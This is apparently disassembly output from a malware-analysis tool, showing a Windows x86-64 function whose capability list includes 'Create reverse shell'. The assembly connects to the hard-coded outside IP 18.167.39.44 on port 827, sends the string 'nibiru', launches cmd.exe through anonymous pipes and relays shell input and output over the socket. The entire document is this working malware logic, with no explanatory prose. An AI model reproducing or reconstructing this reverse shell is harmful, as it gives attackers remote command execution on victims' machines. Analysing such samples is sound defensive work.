Function at 0x140001070
Capabilities:
Connect socket
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Download and write a file
Get common file path
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x12f0]
mov eax, 0x13f0
call fcn.140011ef0
sub rsp, rax
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
mov esi, 2
mov ecx, esi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.18.167.39.44
mov word [rbp + 0x18], si
mov qword [0x14001ec00], rax
mov eax, dword [str.nibiru]
mov dword [rbp + 0x1d0], eax
movzx eax, word [0x14001b1c4]
mov word [rbp + 0x1d4], ax
movzx eax, byte [0x14001b1c6]
mov byte [rbp + 0x1d6], al
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x33b
mov dword [rbp + 0x1c], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x14001ec00]
lea r8d, [rsi + 0xe]
lea rdx, [rbp + 0x18]
mov word [rbp + 0x1a], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001587
lea rcx, str.connected
mov qword [rsp + 0x1400], rbx
call fcn.140001010
mov rcx, qword [0x14001ec00]
lea r8d, [rsi + 4]
xor r9d, r9d
lea rdx, [rbp + 0x1d0]
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
lea rcx, [rbp + 0xae6]
mov r8d, 0x7fa
call fcn.1400025f0
xor ebx, ebx
mov dword [rbp - 0x78], 0x18
xor r9d, r9d
mov qword [rbp - 0x70], rbx
lea r8, [rbp - 0x78]
mov dword [rbp - 0x68], 1
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140001580
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140001580
mov rax, qword [rsp + 0x60]
lea rcx, [rbp + 0x1e0]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x10], rax
mov r8d, 0x100
mov rax, qword [rsp + 0x68]
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x24], 0x101
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x20], bx
movups xmmword [rbp - 0x40], xmm0
call fcn.1400025f0
mov edx, 0x100
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str.cmd.exe
mov edx, 0x100
lea rcx, [rbp + 0x1e0]
call fcn.140004f4c
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x1e0]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001580
xor edx, edx
mov dword [rbp + 0x10], ebx
mov r8d, 0x800
lea rcx, [rbp + 0x2e0]
call fcn.1400025f0
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x10]
mov r8d, 0x800
mov qword [rsp + 0x28], rbx
lea rdx, [rbp + 0x2e0]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
lea rcx, [rbp + 0x2e0]
mov r8d, 0x800
call fcn.1400025f0
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x10]
mov r8d, 0x800
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, [rbp + 0x2e0]
mov rax, 0xffffffffffffffff
cmp byte [rcx + rax + 1], bl
lea rax, [rax + 1]
jne 0x140001304
mov rcx, qword [0x14001ec00]
lea r8d, [rax + 1]
xor r9d, r9d
mov qword [rsp + 0x1408], rdi
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x14]
mov r8d, esi
mov qword [rsp + 0x20], rbx
lea rdx, [0x14001b1e4]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x14]
mov r8d, 0x800
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor edx, edx
lea rcx, [rbp + 0xae0]
mov r8d, 0x800
call fcn.1400025f0
mov rcx, qword [0x14001ec00]
lea rdx, [rbp + 0xae0]
xor r9d, r9d
mov r8d, 0xff
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000152d
lea rdi, str.exit_r_n
mov rax, rbx
lea rdx, [rbp + 0xae0]
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rdi + rax - 1]
jne 0x1400013d9
cmp rax, 7
je 0x14000158b
jmp 0x1400013c0
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x14]
mov r8d, 0x800
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0xae0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000156c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rbp + 0x10], ebx
mov r8d, 0x800
lea rcx, [rbp + 0x2e0]
call fcn.1400025f0
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x10]
mov r8d, 0x800
mov qword [rsp + 0x28], rbx
lea rdx, [rbp + 0x2e0]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
lea rcx, [rbp + 0x2e0]
mov r8d, 0x800
call fcn.1400025f0
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x10]
mov r8d, 0x800
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, [rbp + 0x2e0]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp byte [rcx + rax + 1], bl
lea rax, [rax + 1]
jne 0x140001490
mov rcx, qword [0x14001ec00]
lea r8d, [rax + 1]
xor r9d, r9d
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x14]
mov r8d, esi
mov qword [rsp + 0x20], rbx
lea rdx, [0x14001b1e4]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x50]
lea r9, [rbp + 0x14]
mov r8d, 0x800
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor edx, edx
lea rcx, [rbp + 0xae0]
mov r8d, 0x800
call fcn.1400025f0
mov rcx, qword [0x14001ec00]
lea rdx, [rbp + 0xae0]
xor r9d, r9d
mov r8d, 0xff
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400013b0
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
mov rdi, qword [rsp + 0x1408]
mov rbx, qword [rsp + 0x1400]
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.1400015f0
mov rsi, qword [rsp + 0x1410]
add rsp, 0x13f0
pop rbp
ret
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xffffffff
jmp 0x14000153c
mov eax, 0xffffffff
jmp 0x140001544
xor eax, eax
jmp 0x14000154c
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.140003744
int3